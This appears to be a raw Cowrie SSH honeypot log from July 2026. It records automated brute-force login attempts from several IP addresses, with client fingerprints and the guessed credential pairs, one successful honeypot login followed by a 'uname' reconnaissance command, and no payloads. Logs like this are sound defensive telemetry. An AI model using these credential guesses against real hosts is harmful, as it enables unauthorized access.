{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:19.534150Z","src_ip":"121.123.141.251","session":"3be71373a179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023@","message":"login attempt [root/unitedstates2023@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:20.245099Z","src_ip":"121.123.141.251","session":"3be71373a179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:20.480562Z","src_ip":"5.196.136.131","session":"a636f6eb87cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:21.484391Z","src_ip":"121.123.141.251","session":"3be71373a179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":59002,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fc49bf7c06e","protocol":"ssh","message":"New connection: 192.169.244.109:59002 (159.203.135.109:22) [session: 7fc49bf7c06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:22.769734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:22.773104Z","src_ip":"192.169.244.109","session":"7fc49bf7c06e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:22.837492Z","src_ip":"192.169.244.109","session":"7fc49bf7c06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"washington_usa","password":"washington123","message":"login attempt [washington_usa/washington123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:23.037221Z","src_ip":"192.169.244.109","session":"7fc49bf7c06e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":45561,"dst_ip":"10.17.0.5","dst_port":22,"session":"70bfdab380bc","protocol":"ssh","message":"New connection: 5.196.136.131:45561 (10.17.0.5:22) [session: 70bfdab380bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:23.479923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:23.483922Z","src_ip":"5.196.136.131","session":"70bfdab380bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:23.562996Z","src_ip":"5.196.136.131","session":"70bfdab380bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:23.800866Z","src_ip":"5.196.136.131","session":"70bfdab380bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:24.104768Z","src_ip":"192.169.244.109","session":"7fc49bf7c06e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:24.881765Z","src_ip":"5.196.136.131","session":"70bfdab380bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":29416,"dst_ip":"10.17.0.5","dst_port":22,"session":"61948167f5b4","protocol":"ssh","message":"New connection: 5.196.136.131:29416 (10.17.0.5:22) [session: 61948167f5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:27.939693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:27.943429Z","src_ip":"5.196.136.131","session":"61948167f5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:28.022791Z","src_ip":"5.196.136.131","session":"61948167f5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:28.268253Z","src_ip":"5.196.136.131","session":"61948167f5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:29.349614Z","src_ip":"5.196.136.131","session":"61948167f5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":59182,"dst_ip":"10.17.0.5","dst_port":22,"session":"459b92ee92a1","protocol":"ssh","message":"New connection: 5.196.136.131:59182 (10.17.0.5:22) [session: 459b92ee92a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:32.325748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:32.329625Z","src_ip":"5.196.136.131","session":"459b92ee92a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:32.408673Z","src_ip":"5.196.136.131","session":"459b92ee92a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:32.645956Z","src_ip":"5.196.136.131","session":"459b92ee92a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":56972,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca3e58f2bfdd","protocol":"ssh","message":"New connection: 91.92.40.176:56972 (10.17.0.5:22) [session: ca3e58f2bfdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:33.070656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:33.074562Z","src_ip":"91.92.40.176","session":"ca3e58f2bfdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:33.155784Z","src_ip":"91.92.40.176","session":"ca3e58f2bfdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"Nginx123","message":"login attempt [nginx/Nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:33.414160Z","src_ip":"91.92.40.176","session":"ca3e58f2bfdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:33.727821Z","src_ip":"5.196.136.131","session":"459b92ee92a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":33310,"dst_ip":"159.203.135.109","dst_port":22,"session":"d160c8917c75","protocol":"ssh","message":"New connection: 162.240.20.137:33310 (159.203.135.109:22) [session: d160c8917c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:34.331244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:34.334452Z","src_ip":"162.240.20.137","session":"d160c8917c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:34.422512Z","src_ip":"162.240.20.137","session":"d160c8917c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:34.501177Z","src_ip":"91.92.40.176","session":"ca3e58f2bfdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein#@!$%^&*(","message":"login attempt [root/letmein#@!$%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:34.686821Z","src_ip":"162.240.20.137","session":"d160c8917c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":64122,"dst_ip":"10.17.0.5","dst_port":22,"session":"933718adc4f9","protocol":"ssh","message":"New connection: 5.196.136.131:64122 (10.17.0.5:22) [session: 933718adc4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:36.746106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:36.749768Z","src_ip":"5.196.136.131","session":"933718adc4f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:36.831604Z","src_ip":"5.196.136.131","session":"933718adc4f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:37.086578Z","src_ip":"5.196.136.131","session":"933718adc4f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:37.248032Z","src_ip":"162.240.20.137","session":"d160c8917c75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:37.290853Z","src_ip":"5.196.136.131","session":"933718adc4f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:37.292998Z","src_ip":"5.196.136.131","session":"933718adc4f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:37.377482Z","src_ip":"5.196.136.131","session":"933718adc4f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:37.382169Z","src_ip":"5.196.136.131","session":"933718adc4f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51019,"dst_ip":"10.17.0.5","dst_port":22,"session":"9758be5205d3","protocol":"ssh","message":"New connection: 5.196.136.131:51019 (10.17.0.5:22) [session: 9758be5205d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:41.177510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:41.182417Z","src_ip":"5.196.136.131","session":"9758be5205d3","protocol":"ssh"}
